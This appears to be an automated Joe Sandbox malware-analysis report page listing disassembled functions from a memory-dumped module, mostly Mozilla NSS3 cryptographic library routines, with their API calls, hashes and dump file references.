Instruction ID: 610488fff2985873d86d4d5b75232d3e847688749f48aca1ed5cd11e25c63086
Opcode Fuzzy Hash: d4a8b8d0f432e36372904f7ec16a51a20ae6094722f92a73c1e82a0f88ae654b
Instruction Fuzzy Hash: 064149F4B01A029FC704CF29C680956FBF5FF59328B25856AD449CBB11E731E850CB90

Function 6C6C7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6C7ED8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: d028940ca6105acefa54eccbd891b58504985e38a82e4ccd37f31fe125bcfe82
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: DC31A2B2B002158FDB04CF09DC9499ABBE2FF8831871A856AC8585B711EB71EC46CBD1

Function 6C67DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C603090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C61AE42), ref: 6C6030AA
Part of subcall function 6C603090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6030C7
Part of subcall function 6C603090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6030E5
Part of subcall function 6C603090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C603116
Part of subcall function 6C603090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C60312B
Part of subcall function 6C603090: PK11_DestroyObject.NSS3(?,?), ref: 6C603154
Part of subcall function 6C603090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C67DBBD), ref: 6C67DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67DFEE

Part of subcall function 6C6186D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C618716
Part of subcall function 6C6186D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C618727
Part of subcall function 6C6186D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C61873B
Part of subcall function 6C6186D0: PR_Unlock.NSS3(?), ref: 6C61876F
Part of subcall function 6C6186D0: PR_SetError.NSS3(00000000,00000000), ref: 6C618787

Part of subcall function 6C63F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C63F854
Part of subcall function 6C63F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C63F868
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C63F882
Part of subcall function 6C63F820: free.MOZGLUE(04C483FF,?,?), ref: 6C63F889
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C63F8A4
Part of subcall function 6C63F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C63F8AB
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C63F8C9
Part of subcall function 6C63F820: free.MOZGLUE(280F10EC,?,?), ref: 6C63F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C67DBBD), ref: 6C67DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C67DBBD), ref: 6C67E007

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 555130aef851875dab2d635b09be272e2886a784124eb34ea112eb2a60641e71
Instruction ID: 5c23f15babd3605f8311a727b0f2577ee978d8da245769cb6b0ef6274147bd92
Opcode Fuzzy Hash: 555130aef851875dab2d635b09be272e2886a784124eb34ea112eb2a60641e71
Instruction Fuzzy Hash: AA31F5B0B0420157D7209E799D84A9B73B89F5631DF040935E90AD7B52FB35D918C2FE

Function 6C5F6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5F6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5F6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C5F6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C718FE0), ref: 6C5F6CFE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 59ca648626beb54dabd58de95645effab556c54f61860a03e3dc0776c71a6f88
Instruction ID: e5f6d54e2f3cffd0e96efd9986d6c1fdb2384ec4583f12cba7c652643e564801
Opcode Fuzzy Hash: 59ca648626beb54dabd58de95645effab556c54f61860a03e3dc0776c71a6f88
Instruction Fuzzy Hash: 30318EB1A012169FEB08CF65CC91ABFBBF5EF86248B14442DD955E7700EB319906CBA0

Function 6C704F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C704F5D
free.MOZGLUE(?), ref: 6C704F74
free.MOZGLUE(?), ref: 6C704F82
GetLastError.KERNEL32 ref: 6C704F90

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: ea94e294aa415d96b861701e6f1225bb37b0d25ed2152ed6ba922b03c41363c1
Instruction ID: 8910448eb2d84d4a3be38ea80d4cbc1c07cbf8b9c4394542483ed71d7bb5ae50
Opcode Fuzzy Hash: ea94e294aa415d96b861701e6f1225bb37b0d25ed2152ed6ba922b03c41363c1
Instruction Fuzzy Hash: BA3137B5B002094BEB01DF69DD81BDBB3F8FF85358F084239E815A7681DB34A90487A1

Function 6C64DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C64DDB1,?,00000000), ref: 6C64DDF4

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C64DDB1,?,00000000), ref: 6C64DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C64DDB1,?,00000000), ref: 6C64DE17

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C64DE80

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: efc8005ffe65a0a73c0b6470cf02b626d5afcbab91cc65d8f18a1cc0983405c0
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7031C2B1D01B429BE700CF16C880A96F7E4BFA531CB24C22AD81D87B41EB71E5A5CB94

Function 6C63FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C615ADC,?,00000000,00000001,?,?,00000000,?,6C60BA55,?,?), ref: 6C63FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C63FE5F
PR_Unlock.NSS3(78831D74), ref: 6C63FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C63FED6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 949632b2ea8e3d97c035caba2601aa0b028ef8470b56689d3280fdd3b12a41e3
Instruction ID: e38167be3dbdbebb01c72002e8e30772748df015a3f8b0e2f53b021c171f6417
Opcode Fuzzy Hash: 949632b2ea8e3d97c035caba2601aa0b028ef8470b56689d3280fdd3b12a41e3
Instruction Fuzzy Hash: 98213131E00225BBDB00AF24D84479AB3B4FF05359F4421B5DC0D67A92E730E829CBDA

Function 6C643F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C643440: PK11_GetAllTokens.NSS3 ref: 6C643481
Part of subcall function 6C643440: PR_SetError.NSS3(00000000,00000000), ref: 6C6434A3
Part of subcall function 6C643440: TlsGetValue.KERNEL32 ref: 6C64352E
Part of subcall function 6C643440: EnterCriticalSection.KERNEL32(?), ref: 6C643542
Part of subcall function 6C643440: PR_Unlock.NSS3(?), ref: 6C64355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C62E80C,00000000,00000000,?,?,?,?,6C638C5B,-00000001), ref: 6C643FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C62E80C,00000000,00000000,?,?,?,?,6C638C5B,-00000001), ref: 6C643FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C62E80C,00000000,00000000,?,?,?,?,6C638C5B,-00000001), ref: 6C643FFE
PR_SetError.NSS3 ref: 6C64401A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 3c0dd51c89e6a34f2d94ff772c831435e4ebdd4be6172e5c54042b6da9742619
Instruction ID: ac9882587f0c9dbe1b0a5a70d7ab8b0bcc7d237d0b8c2a811968e8491c42b70a
Opcode Fuzzy Hash: 3c0dd51c89e6a34f2d94ff772c831435e4ebdd4be6172e5c54042b6da9742619
Instruction Fuzzy Hash: 9D3160706047048FD700AF69D5856AABBF0FF89355F11992ED88987B10EB70E894CB96

Function 6C634FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C63B60F,00000000), ref: 6C635003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C63B60F,00000000), ref: 6C63501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C63B60F,00000000), ref: 6C63504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C63B60F,00000000), ref: 6C635064

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 30d309ec6305a7ad2b73e1700463bf7688480ebd0c1691bf0f086d4dac3d91b4
Instruction ID: c4de993ffd6217e11f7ea2c82e061654ed626eb9b6ff34e0030952c784630e01
Opcode Fuzzy Hash: 30d309ec6305a7ad2b73e1700463bf7688480ebd0c1691bf0f086d4dac3d91b4
Instruction Fuzzy Hash: D63145B0A04616CFCB00EF68C48466ABBF4FF49308B14A969D89997700EB31E894CBD5

Function 6C662DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C662E08

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C662E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C662E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662E95

Part of subcall function 6C651200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5F88A4,00000000,00000000), ref: 6C651228
Part of subcall function 6C651200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C651238
Part of subcall function 6C651200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5F88A4,00000000,00000000), ref: 6C65124B
Part of subcall function 6C651200: PR_CallOnce.NSS3(6C752AA4,6C6512D0,00000000,00000000,00000000,?,6C5F88A4,00000000,00000000), ref: 6C65125D
Part of subcall function 6C651200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C65126F
Part of subcall function 6C651200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C651280
Part of subcall function 6C651200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C65128E
Part of subcall function 6C651200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C65129A
Part of subcall function 6C651200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6512A1

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: ac960cc1aaa8f07915190f69a678c546e55473619db2762abaa26ad4a5ad5c40
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 4F21F6B1D003454BE700CF559D44BAA3764AFA234CF210279DD085BB52F7B1E699C3AB

Function 6C61ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C61ACC2

Part of subcall function 6C5F2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5F2F0A
Part of subcall function 6C5F2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5F2F1D

Part of subcall function 6C5F2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C5F0A1B,00000000), ref: 6C5F2AF0
Part of subcall function 6C5F2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C61AD5E

Part of subcall function 6C6357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C5FB41E,00000000,00000000,?,00000000,?,6C5FB41E,00000000,00000000,00000001,?), ref: 6C6357E0
Part of subcall function 6C6357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C635843

CERT_DestroyCertList.NSS3(?), ref: 6C61AD36

Part of subcall function 6C5F2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C5F2F65
Part of subcall function 6C5F2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5F2F83

free.MOZGLUE(?), ref: 6C61AD4F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 142154fe322bc08445ced1ba7c22ac294dfbc07ccb58e71e798dcc9912889886
Instruction ID: 559e1dbac1610503f118301e98d4f6d2f776dbb719f18665519d1311cae8aa45
Opcode Fuzzy Hash: 142154fe322bc08445ced1ba7c22ac294dfbc07ccb58e71e798dcc9912889886
Instruction Fuzzy Hash: EA21C3B1D002548BEB10DF68DC065EEB7F4EF45219F054069D818BBB01FB31AE59CBA9

Function 6C643C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C643C9E
EnterCriticalSection.KERNEL32(?), ref: 6C643CAE
PR_Unlock.NSS3(?), ref: 6C643CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C643D02

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 7d02edbccfbec38ecd6aca25230ffd351951e4af077bd1e62b53829eea530cae
Instruction ID: 347e36325b1c66f1078fc9b901e3e50db235214c81dc11c2d35071526b438d44
Opcode Fuzzy Hash: 7d02edbccfbec38ecd6aca25230ffd351951e4af077bd1e62b53829eea530cae
Instruction Fuzzy Hash: 1E11D675A00204AFDB00AF24DC48A9637B8EF4A369F55C075EC088B712EB30ED54CBE5

Function 6C64ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C64F0AD,6C64F150,?,6C64F150,?,?,?), ref: 6C64ECBA

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C64ECD1

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C64ED02

Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C64ED5A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 113b9051f8760db54d93d23bec20c4388df299b36e42317f1a9ac0e39c4c9f21
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 212184B19007425BE700CF25D944B52B7E4BFA5348F25C215E81C87661EB70E594C7D9

Function 6C61C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C61C890

Part of subcall function 6C618F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FAF
